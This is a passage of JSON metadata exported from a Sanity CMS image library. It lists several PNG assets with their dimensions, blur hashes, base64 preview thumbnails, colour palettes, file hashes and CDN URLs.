aMc1NCvy2jlq5j9YDD1MMqZqMSZiIJPFrdw+MP95H/KIbtEBeYkUyGuZAqP/vNYsUWy7qvCeq839beDNraZf9cW/Rb2qXV1AK5qVg5QaqxNYn/Q5SkI1Ea/F2UlR85pfj+qcq/E1elr7m6f5j7k5lrjXen3VqIqvXvAqO59aYvhheDVviqL4Sv+o3wv1Zta6FXN6jQWNc5cc3KNNdmYmXtosSHjF/T35Y/ONtsfJy4PXyWC111ijf+A0DJ2KwCK4mVAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#432e4e","foreground":"#fff","population":0.32,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8d4184","foreground":"#fff","population":0.48,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#eb29f3","foreground":"#fff","population":1.6,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e1b9db","foreground":"#000","population":1.56,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e3cb92","foreground":"#000","population":1.1,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a85854","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eb29f3","foreground":"#fff","population":1.6,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"c5739fbd6133a70d4ae0312d6bad46fbafa24f91-1567x844.png","path":"images/sczeoy4w/production/c5739fbd6133a70d4ae0312d6bad46fbafa24f91-1567x844.png","sha1hash":"c5739fbd6133a70d4ae0312d6bad46fbafa24f91","size":232949,"uploadId":"CYiKQ6KhC8CD2zhMf7WaqEHGAYj0dU00","url":"https://cdn.sanity.io/images/sczeoy4w/production/c5739fbd6133a70d4ae0312d6bad46fbafa24f91-1567x844.png"} {"_createdAt":"2022-06-15T20:02:15Z","_id":"image-400ccd26a0acfe6092596b264c8d3569b2b5ec5c-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO85c1","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:25:26Z","assetId":"400ccd26a0acfe6092596b264c8d3569b2b5ec5c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MSQu~XpytmDi-.GwVsZ#T0t8%3M{RixZM|","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADL0lEQVQokT3MW08jZRjA8fkK3hi/gomuiXde6hcwGi+8MjHGw4Ual+wSBQ+wCiHGsMrqhbi7WRc2FBihLlnWQqHQsm2hQ1tKj1Omb9s5dGbedw6dmbJQ6POY9cKLX/53f64lm1clot1tNDt/SURblojGq5rNmyzgqdX7r88YNODljs+LrS6fF+3FTJkuFOv0gSZ35iyltWRp2n1K3W+5fKF2eze+L27vJO3YboomnmRYqdJgmu4ykwX/002fNRWHVSTKDksqFY4kUyqXDKuSMrzSDuvW0sSV8o+4g0xh6XEkZoX/foxrjzYwupXA9EEe65KCuukhtXpITRepIqMqlrFcOMZkOouRyBYm1nlsxebRF3jsFTeCoLyd4nJH1VB878DcjMZxa3tvsJcUIH2Qh3K1AR3DAcZcsNUmuNUn0EytQfyfMPDLyzA9PQ0/jQ1Dcn5y0BVWsCdlHL9VinJthYUazQ49kVQ8kRRoEA0JUVGVZbQ6DXTVPHpkG51iGEo7CxgO3YNbMzNwbWgIfrj+GQgrv4Nf28OeKjqB3opwlPkhynxKmYeMdYFRFy1qof1s1kqgV19Er/wHWoW7KKaXMLoWwtlfb+Lk8BCufDeCndUFeFrLYU+rO6eauMEx5oYs5lCb2mhTNnAoBdvQgSl1sKQYuJV56GanwEzegHpqHvajYVj/8xaEvh+G1Kcfgzs+BqexCPrNouO3ixucY5ohxzBMx9DRNbSBZ6jQ1RVwFBFckoRAXILe/jXQH74Dx/xVOFy4AcLsddgd/xCy770N7JOPBsHqIvr1Qzto5iKc1zpZtInIaFNER5Ew6BDs6Q3saTU8VY7wnESwv/8F+vwraMy+iPovr6I+9RqSr97A9udvoTc1gufxNeyTjHvRFja5oJabsUqCoFWyhJGS2NPE2llHrJ5pleq5Vqn226nqZW68Nnh4hQzuPNe+nHmeXEy/JJ3dfFM6u/2ldLk5J4GYICALeZAz97lTcvyuJx2NOo3CpNcujT3VKqPnWmWkr5ZG+2px9ELJjgzKs19D5PUpnHvhZ7z38o+4+sEEJn6bwOL6BJLkBMqZSVSEb0AW3v8XjvXU/jMtg9IAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#353551","foreground":"#fff","population":0.24,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#885b3e","foreground":"#fff","population":0.27,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f89812","foreground":"#000","population":4.97,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dabfbb","foreground":"#000","population":0.41,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2c986","foreground":"#000","population":4.08,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6485a6","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f89812","foreground":"#000","population":4.97,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"400ccd26a0acfe6092596b264c8d3569b2b5ec5c-1567x844.png","path":"images/sczeoy4w/production/400ccd26a0acfe6092596b264c8d3569b2b5ec5c-1567x844.png","sha1hash":"400ccd26a0acfe6092596b264c8d3569b2b5ec5c","size":405825,"uploadId":"LtDCCv3Z9w9pmCMYyWt3UKze073BVMUI","url":"https://cdn.sanity.io/images/sczeoy4w/production/400ccd26a0acfe6092596b264c8d3569b2b5ec5c-1567x844.png"} {"_createdAt":"2022-06-30T20:00:45Z","_id":"image-3c23100934f9c82fbad055fb5a1443e65c8ba08d-2708x1771-png","_rev":"QRl2cGoCgj0FlAhkRri9mv","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:26:03Z","assetId":"3c23100934f9c82fbad055fb5a1443e65c8ba08d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VeN,;}Mx~q-;Mx?bxvozkCR*4nM{%2s:M{kWof%MozWB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5290796160361377,"height":1771,"width":2708},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAABcRAAAXEQHKJvM/AAADg0lEQVQ4jTXTT2gcVRwH8Lf2UGmTUBRs6UFQolLrwYt4kooXLYKePAhVEQtCFKokvViqIohIhGJVaF3jQUUqKPiPXoRiCTH+j013k2xmk93Z3Zl58/7P+zPvzczuPklKD9/D9/LhBz++wFr7mLPuTWPMxdzkF4qiOO2sPdJYXKl578H6x7+C98C9AF7ZADtdsmxv4dwjZVm+45y7qI254Jz7tKrK951zzwJl8pcznV+lmU6oNDHP3U/S2kfTYbrHf97dRW6mXIRAFWZCm/z53BW/OVdAo3RslE5zW1yzrpgHkIi5LmTrQcL9WiL8Bs7+HCBxQqz2jvL1aFq20+msER2VW+k0bwzuEZvxQxDxN1Kut7WxPufMkwT5BGUpk/kC6EVwdjOMG1sx9VtYVh2m/kkj8gFe6Z6j64O3eRueZdcH53kAz5BG/116vf8JjtAXENMO59lYIjwkUeIhEjGXeR3EcTIbRXFTSOVdWQ1dWa0IxBfSjcEPZBt+yUP0LQ/gCg/RJdxOLuEgvixh/L1A/RDG0ONuPDIw9UWeJ64o64BQMYswbRqZ+XHlRuPR8C+jzRxO8HMMsRd5iBdYK2mIEH1EU/oCgeSkZuk5SZNtlGKPo3SUU+qHZZFUVVUHCVGzYUybHCd+aNhoPCyWi7J6imk2lUl5Nw3RPAmSVRais1Kpw9LqQyLLTgmp2lJrjzM6IpJ5dxPEWMwmEWoKAsdFLkZVVSy5onwCAACUUAfFgM7zLmrKiJ7JpZ7SxuxjUs8IbQNlnUdGjJAR3lXlDVD24zkWBGso7vo0I55qsyyUPR7R5i27YAe/xVvJouzi1602U9KYSartK1i7gGrnodAjIo0vquENUPf6J0Vr45e43w57FHZiLr/DQh9D6FqNEj5Be+hxsg1f5X18TIpsr9RmEis7k0obwCz3fayGkBlvXRlXZVkHmtAHVZqe4BS9RjN+ikn9DM/0nf3Oei1K0hpmbAJzfjvlfP/uUqScEnE6wwbRFsTQh4yMU8K8pRyWSn0G5MKHk/9+/dXBKz9fPhRsBLdVudnvcr1ncelvgJkAvHJA+Ap0vAe5dUAINqla7Zf4WvO/Xm9TtXBPDOJIqbAXOIzPg+zJ+++oP/zAXceP3He4duDArTtXrP5xdecngFAOKGK7kUzUrHUgE2KfSuDTWRR9g3GyHHO8RCj9XWPyYy7E6f8Bh4NKaBFZPgsAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c548c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#136c90","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c1c5a8","foreground":"#000","population":0.46,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1c5a8","foreground":"#000","population":0.46,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2db5e","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5aa57b","foreground":"#fff","population":0.14,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f04c5d","foreground":"#fff","population":0.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"3c23100934f9c82fbad055fb5a1443e65c8ba08d-2708x1771.png","path":"images/sczeoy4w/production/3c23100934f9c82fbad055fb5a1443e65c8ba08d-2708x1771.png","sha1hash":"3c23100934f9c82fbad055fb5a1443e65c8ba08d","size":388968,"uploadId":"Zx39yiP9bB1WVZLRkUliXWU5nImtNIVr","url":"https://cdn.sanity.io/images/sczeoy4w/production/3c23100934f9c82fbad055fb5a1443e65c8ba08d-2708x1771.png"} {"_createdAt":"2022-06-15T20:02:17Z","_id":"image-e94c3169e42d626342b5242a122545e3df2f7661-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEdCXo","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:25:57Z","assetId":"e94c3169e42d626342b5242a122545e3df2f7661","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MYQI;^.mWGROxwL3eSX7xZRn-:ITV@ohov","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADHklEQVQokU3M3U/bdhTGcf+Ju+zai1JtTNo6pImXVWooajdYRRsNuq7tNtYCDVtJmhA2kEaBFAZsGiEhCSEYO7GdF7/E/h3bSexAgeSciu1mFx99pefi4ZRyvV8oVqeFYi12LFZeH/FylBfKUbGkRiVZj8plI6oaTtQCP2qB9y9mt//vNbP9GANvFmzvDscL5eeZHC+mM0dOav+Q7aXysJc+hEyWh0zuGHJ5AZRKHSxoAYANYNWhrusgyTUoySrUNGA1o2VX9JZcM5oxrlJjEUnR7ZKsUVFSqShdVqOSrNPlJpY0EssOyVqTjJpIbukPUrMLtLmyQPH4b7Sa2KLNf3hKpPTmm7S7zlngz1vgWxb4ZIHftcDH/3hoMg+FqocbeR8TWRtTybdobA2jvjaEKy/H8PHDUfz24YPu46fP6dn8TmM0Blscs9thZrcZs9vEbB+Z7RMDjwCaZNZt2juyaX7bofnNKsWXluhwoZ/U5UHafBWknydGaWJkEJ/c7qepRzOte3O1JMfACzPwGIPW5QkCNMhmLjmmSXZZooNkgWKrAv2ylKTF0FMqvPyMxOgwrYSnaGbqGc19cxv/HLhOu2NfNZfiqS0OoBG2wWUOc8hhdtdlDF3LxIZRxVYpj/ruX7izto2rixEszNxEa+oDzM8OYfzXaQyFQrgc/BqLfVfJuXXTZYvRNc61rLBrmpZr1qlhGt2mqWHLVNHTFWwrh+gWkiiltlHejqD3+y20p29gYvIL/Ck4hi8mgpgY+bKr3LhC3qe9zvmLH1a5VqUUcRQRWFkkV5XINxRq12U6MUp0qgnUrhaoqWTJL+7QRW6R6m9+pLXJAM0MfEKhvl5KfnSdzJ4eagcCjU5sbp3zhcz3diG1r/P7CigFoa2LwqkhCu/0Y+FM54Uz/Ug41/LChZoVOtV00c2/lfnIE+Xvu33KRu+1inTlw+rJwFCtE549wIONEHei5K+1pNyIIx+MtaqFO6c6HzjT+cC5Xgica/nAhXYQ6KjZQFfNDHfV/bud8u79d+nlcXj1aLwy+HnQvdrzXffB+CSl1++hlvr4PS9y0rW+rLUOAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#33314c","foreground":"#fff","population":0.22,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#043c98","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b7bcc0","foreground":"#000","population":3.71,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b7bcc0","foreground":"#000","population":3.71,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#97d6f8","foreground":"#000","population":0.1,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8d7a62","foreground":"#fff","population":0.19,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6910f","foreground":"#000","population":0.78,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"e94c3169e42d626342b5242a122545e3df2f7661-1567x844.png","path":"images/sczeoy4w/production/e94c3169e42d626342b5242a122545e3df2f7661-1567x844.png","sha1hash":"e94c3169e42d626342b5242a122545e3df2f7661","size":494994,"uploadId":"X3cqc4zr4wYTIgmcI9sMo66UblqfuYjY","url":"https://cdn.sanity.io/images/sczeoy4w/production/e94c3169e42d626342b5242a122545e3df2f7661-1567x844.png"} {"_createdAt":"2022-06-15T20:01:35Z","_id":"image-3b410bebf94d990a99f18d1d4ecd9cdb442da6be-752x405-png","_rev":"QRl2cGoCgj0FlAhkRrhUSg","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:15:16Z","assetId":"3b410bebf94d990a99f18d1d4ecd9cdb442da6be","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MJRt.[#Fn%w|V@}?aKofoejFibV@bbkCkC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACWklEQVQokQXBaVOiYAAAYP7X7qSlKGR5gQgoiBf4Aor3mllNTe1Os+1+3R8oh5IJyhlqs88DfbXorzZ94ulThzoB8gSIA8CjTjESsUjGol7xoBQOI/z42Di+StFTI3quH39yxxf2+ERCxwZ1FJhDp3oAzAHQURv/bBX8Zt5v5XwhF4BcKGY/B1j02ov+3Yd/hsGbEv7th29S+MxBEUd/8rWww4WgFgiVoF0OOqQHSBcQLsADCQvFfNjNh3M2eOS9BefeMt5d1V9Q/gyHArbiCy1fFny57QHOkxvekHeGbWfYcIZ1d8D6cskHWV/M+nLOlbNu98rrZXzl0lNQyKFJl2+5iuQO5L0CdiPZHst2v20pTWvYsgYNS6ZsseR0CXdcdW8474bxpqQ7KOzkDLSnSacnufMf3sOte3/jPMx2dxN72rUmkrUYbBfKZtjcKOx2xtsv4/3bfP97uvvVt+bcO8hAO4LYC7zT73njvjeS3ZHkTKTdsGP1+e1E/JgAs1szRdpU2M209THjN7OmOeVWXVxvwJCVx6wqa3F1m6vZXHXXZGye3QrsB8+8C6wJGFNkTECv26VVPbuuXRpsWmNglblQq3HoPZ01s7hZKK0LmIlhJoGZJL6m8DWNrSv4isFWHL7iMIPJ6jRiUCmdTKjluErF1Eoc0s9QPY7q56iRQI0UaqQRA0WMDGJcI0YO1XOIlk+rBVgrJrVS0iBTejmpls+XZHxJxSDtG6J9T+tnKSOeMi5SehLWU7CehnUE1i5hNQOrV0n1OqHmLrRiwiinNCKxLMWXRGxJxv4DM2lyKOk7pSIAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#920906","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f0805","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f74a46","foreground":"#fff","population":5.95,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4bab0","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6c50","foreground":"#fff","population":5.15,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a66552","foreground":"#fff","population":0.35,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f74a46","foreground":"#fff","population":5.95,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"3b410bebf94d990a99f18d1d4ecd9cdb442da6be-752x405.png","path":"images/sczeoy4w/production/3b410bebf94d990a99f18d1d4ecd9cdb442da6be-752x405.png","sha1hash":"3b410bebf94d990a99f18d1d4ecd9cdb442da6be","size":111618,"uploadId":"PsR8NVnVeW2BMwtY55tRltLTPC5PZmDN","url":"https://cdn.sanity.io/images/sczeoy4w/production/3b410bebf94d990a99f18d1d4ecd9cdb442da6be-752x405.png"} {"_createdAt":"2022-06-15T20:02:30Z","_id":"image-19daa576c74da89e03fb7da618ca88f666a97279-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRriHlX","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:28:14Z","assetId":"19daa576c74da89e03fb7da618ca88f666a97279","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MdRC0ulVo}R5t8XBOYnhs:WXpwVXZ%o}bH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADLElEQVQokS3IzW/bZBwAYP8DnLhOTBx24TAhDpwQRzSJO2LiAGhMAjSmad1hiA5paIK5CNgkJtahJqoK3dJmqSamqp9r15axpZnjpnXdOI7fOv72+9pOY6dxGvz7IbEdnsvD6YZ/UVGNvKIa91XNmlY1q9jU7KKq2UVFNaYaTXPCtIIcZfEYC7o5GnTHXsoxyxqLpPV8uPfsLnO8cRokV7i60hoTxF2lIuyEgrhLBVFmW7U6E2t1Vnm+Q8WtPY/onuvS2HX92LWcwLFbqkt1wY3kRSd+dNOJV26xtjintXdWSpxu0ClVswJFNbHRfKFJbFQ1Gxv/n4WNBsE98TnKT5ZRXi6i8pBHd/48JoufYzrzMfZmvsDDvy53eqULa5zPkns+S3yPxujROPNoDD5LwGMx+LQDTsuD3ccLUPntIuxeex/I8Lugf30yc0Zezw7vvAZZ7kQ2mHgH+4UP2/3SV2scDboFGnQpDbpIgwRokCBjHWB+iFHLgrC6Ddp0DhrfnILw7DHonzkOyZkT4A8dh/jGqwCjrwDcOYaD6Q/avfLEMkdZXKAsppR1kLEDYDTCwPMwMvaxsy1isrKK3r0/UR/+FDufvI1w7hT2hk6jfek9NG++hdEfb0Bv8k3sz38ZpY3VBY6xdiFgEQ1piCFlWeT70HYtODA0SKQa9P7+B9qzc6D+ch3ks6dBunQOqj/y8PSnq7A2OgQbk+dBenAB/ae3olQvL3CR7xciz/Mjz8W252QHngUdz4DY0SExVOgpEiTiJpCHM7D0/XcwPnwZ8j//ANP5Ubg/mYfJ8dvZbPE2qs9KYb+1ucB1dHUqJAqj+wpGZhMTh2DXJXjoNLHnNDC16pgaEkb1CtY35nDjQQ6XC9fwcek6rs/mcXW2gMKjIvq1+XbWKi9ySb36ayBVBFsWdEYkrWsrJHUUktp7pG/L5MiWyJG9Q46sGkmNKumqK+Sg+jsJyjcIrd4lTFrSYmVdH+w/qYGxOcEdku2POs2tbyOtNhK3JD61Zb5vy/yRLfEDa5sfWDX+X1PkM7PKgynwaJZ51Fd53F/isbXOo1Hm0ayMoFm5imbls/8AIDHUnbg/JpkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e3847","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4b241a","foreground":"#fff","population":0.45,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f79812","foreground":"#000","population":8.88,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d3c2b3","foreground":"#000","population":3.41,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc648c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c7e4d","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f79812","foreground":"#000","population":8.88,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"19daa576c74da89e03fb7da618ca88f666a97279-1567x844.png","path":"images/sczeoy4w/production/19daa576c74da89e03fb7da618ca88f666a97279-1567x844.png","sha1hash":"19daa576c74da89e03fb7da618ca88f666a97279","size":201069,"uploadId":"FHDdjWQ6trMt0doS5loUO9e8tw0IP3f6","url":"https://cdn.sanity.io/images/sczeoy4w/production/19daa576c74da89e03fb7da618ca88f666a97279-1567x844.png"} {"_createdAt":"2022-06-15T20:02:32Z","_id":"image-23c29f5369633a889bb4603da4beb46bc525c39f-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRriITf","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:28:20Z","assetId":"23c29f5369633a889bb4603da4beb46bc525c39f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MgOf.G?^wL9a?HK7aeM|%1W=x]R5Na$*R*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADS0lEQVQokR3D/U8bZRwA8Puv+M0l/DDdQmbmJCaKSV0kU+ayjQ1F2iLKBHUQ2Vbe3HgxLlPgWlZwvLUMylGgFGgp7crd0V6vlGvvnqe99ihMGPf9mvBJPoy8r9UnJGUomco5U7I6Jskqm0xl2YSksKm0xmbVEkvyR+dVcsimM4TdFVLsm90kG4qI7MTcOtvxbGqy+bGbHXT6f2TCEX5g2R8UlpbXC5w/SLjlIPVxAbroW6X+1U0qiPtUyRVpTjOovK/RtcAmdY276eiYk7onp+nQcxdpbHum37ANpOxdL13MejAy6pnn8jNzCzg98/r8qykvTvw7i7MeH65vRDASFVDY28doTEDXuBs7Ojqw9cEDdHR34xNHDzZYf8Xb9r5Sz4uFBWZ7R/jHv7KpvV5cwTmPz/TMc+Cd58AzvwRLywEIrIdhLbAF4XAM/P416O//A+rr68FisUBdXR3Y7983HzXa0dU9XIx4Vzlm/yA/Isk5IiYyuCvIIIgyintpFEUZk8k0yqkMylIa47E4upwutNvtWFNTg5WVlXjhwntYd/VDmLlZi7n2VqPs6F5jSL48QughIdRAQkpASRHzRMc8yWNBI6hrKha1HMYjYXzc1YUWiwWrqqqwoqLi/L1rlyFcewXf3fy4dGa7vcRQWhzJU50USAELJG/qhICuqVDUclBSM2BkE2AoIoRWFqDF3gTXProKly9dgosXP4Dq6mp4dPc6pBqvoNnwvn7W2+hhdE0b0VVV09UcFtWsWVIPwFAzcKimoZxNwLESBUPegoDXBQ9brXDrq+vw+aefwDdf34C2FhuMd9lMracWse+LgjnzZI4x5L3RgiRQkhJQzySwnJXwKJfE42wCjxUeT5QoUt6Pvok/kR3sxIGuVmy6dwvbf/geBx2dOPvcgepcL55x/UUzNu1lynzIkY9tbCnxLYlKMf5IEfi3WYH/T9nlT5Q3/KkS45UdH7/4cohfmRwUp144pPbmb+W25u8yfb+3K6/+fpo52JhKn4q+bVMO/MUcSzufGYnt5kIy8rORjtnfKnHriRK3niox6+lB1PruIGJVo5w15B2zif7xFs49/MtvPzV12hruOB622p46h7t7lZC300wHW8x08Mv/AejQpZQO3sSyAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d343e","foreground":"#fff","population":3.53,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#77200c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e95533","foreground":"#fff","population":3.7,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9cc4cc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e3c695","foreground":"#000","population":0.6,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5071a1","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e95533","foreground":"#fff","population":3.7,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"23c29f5369633a889bb4603da4beb46bc525c39f-1567x844.png","path":"images/sczeoy4w/production/23c29f5369633a889bb4603da4beb46bc525c39f-1567x844.png","sha1hash":"23c29f5369633a889bb4603da4beb46bc525c39f","size":596431,"uploadId":"6BLNmSwDcTYRptj7p2YhBpz9QDdZJ3rX","url":"https://cdn.sanity.io/images/sczeoy4w/production/23c29f5369633a889bb4603da4beb46bc525c39f-1567x844.png"} {"_createdAt":"2022-06-15T20:02:37Z","_id":"image-624a6bb8758efddc88fa16984dcf8feab81e4678-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRriLA4","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:29:03Z","assetId":"624a6bb8758efddc88fa16984dcf8feab81e4678","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MZQb^8yZyDDj-nXUNfRi-US5kWZ~VrtRSP","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADIklEQVQokTXM708bdRzA8fvTTEz0gTEx0UcaYyImS3T6YD7Q2I2JUFgF7OiYOBHmUDdoO8Csg0K30vLrGNdrV9rSXXvXXu9Hf9z3+70r/QE20M/HSOaDV97P3lxFJ9cKsnG/qBiPy5V6QClXg1JRu1SQ9aCqNYIN0g7Wa85jNV9Z1vKV5Xq1GaSWFWhJC8vt6Dsb1bV3tyr81MNapfgdlzsuze3uJwrxnRe2IGaJIGZpLM7TyLNtuhXnaSqdp7pJqWVSaqYzTOf3aT0vUapmKBV/ourmFfvl+mAru/2brB9HH3B5SfXv8SKLxvbx4PAlHiYyuBXncSMSw2fRXTwUjrAsy8hyMbRDE2jNf42Nhx6UQ7OYXL2O4sqXmFv/FivxQdtOz61whskW5VLVkgoayiWzr5SrIBU1eCWp8KqggVxUoJELwenmVTj75U1wRt6A0s33IHrzCoTHP4e8f6DvxAbwLOFivUIwxFm0s2TRDrFoBy3agddFi7YvMSOPXeF7PH/yNp76B1Cfv4785De45voKD4euof33GFxk72FfWXX6Gr/JEdZdIqxLCOsiYV0grIOUtZHSE2TUwZYaw97OJ9gJf4Cl8DRu//kAAz4vLrqHcP+WG53QIwBlD8FIOKAnIhxhnSXCOoTQ/yatPiNNsAkDx7LgpFGFrrIGve0PwVx9H8ILt2DOdwdmvF64Oz4OT3xTUN9YAVAOXg+FTY6SkyVKmhYjNtoW6TetGrQaBnTqKpzWFOiVn8MFfxXqgbfg6cwXMO0dh9u3p2ByYgICv86AubfeB/UFopGwL4eOrvmpWqKWqqBjKNitKXhWK2CveoznZgYvtAOEzM94Fv4Y0wuf4n3fMI6OjuGoewT9v8+imXyOoAuIhtAEXYhw7UJ6mubEZO1YLNultPSPkZXOzSOpb6QkMEQJjIQEpYjUF+9IxtMbcuCe23AP/1Adc49oq4/my/XMVgn0RAV14Qh04Q/utJz5qC2nBptK0t1VUzfOjZQLDNEFRsIF+v8EF6o7LpZcGQ79NXPXMzoy65v0ePfWFj0n0q4HdOFH0IUh0IXP/gWX5c5jsFqtXwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c2a26","foreground":"#fff","population":0.31,"title":"#fff"},"darkVibrant":{"_type":"s